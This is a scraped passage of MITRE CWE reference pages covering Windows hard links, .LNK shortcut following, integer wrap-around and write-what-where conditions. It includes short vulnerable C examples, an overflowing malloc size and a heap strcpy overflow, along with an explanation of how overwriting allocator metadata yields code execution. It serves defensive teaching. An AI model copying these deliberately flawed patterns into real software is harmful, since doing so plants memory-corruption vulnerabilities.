updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Modes_of_Introduction, Potential_Mitigations, References
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-65: Windows Hard Link

Weakness ID: 65
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
+ Extended Description
Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows hard link
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Links", Page 676. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID: 64
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
+ Extended Description
The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.
+ Alternate Terms
Windows symbolic link following
symlink
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Likelihood Of Exploit
Low
+ Observed Examples
ReferenceDescription
network access control service executes program with high privileges and allows symlink to invoke another executable or perform DLL injection.
Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
".LNK." - .LNK with trailing dot
Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows Shortcut Following (.LNK)
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP18Link in resource name resolution
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-128: Wrap-around Error

Weakness ID: 128
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
+ Background Details
Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.
Integrity

Technical Impact: Modify Memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following image processing code allocates a table for images.

(bad code)
Example Language:
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

+ Potential Mitigations
Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

Phase: Implementation

Perform validation on all incremented variables to ensure that they remain within reasonable bounds.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPWrap-around error
CERT C Secure CodingMEM07-CEnsure that the arguments to calloc(), when multiplied, can be represented as a size_t
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Background_Details, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Relationships
2010-12-13CWE Content TeamMITRE
updated Background_Details
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations, References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-123: Write-what-where Condition

Weakness ID: 123
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.479Signal Handler Use of a Non-reentrant Function
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.590Free of Memory not on the Heap
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; DoS: Crash, Exit, or Restart; Bypass Protection Mechanism

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Integrity
Availability

Technical Impact: DoS: Crash, Exit, or Restart; Modify Memory

Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

(bad code)
Example Language:
#define BUFSIZE 256
int main(int argc, char **argv) {
char *buf1 = (char *) malloc(BUFSIZE);
char *buf2 = (char *) malloc(BUFSIZE);
strcpy(buf1, argv[1]);
free(buf2);
}

Vulnerability in this case is dependent on memory layout. The call to strcpy() can be used to write past the end of buf1, and, with a typical layout, can overwrite the accounting information that the system keeps for buf2 when it is allocated. Note that if the allocation header for buf2 can be overwritten, buf2 itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for buf2 will probably be buf1, and the next chunk may be null. When the free() occurs, most memory allocators will rewrite the linked list using data from buf2. Particularly, the "next" chunk for buf1 will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

+ Observed Examples
ReferenceDescription
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
Chain: 3D renderer has an integer overflow (CWE-190) leading to write-what-where condition (CWE-123) using a crafted image.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.

Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
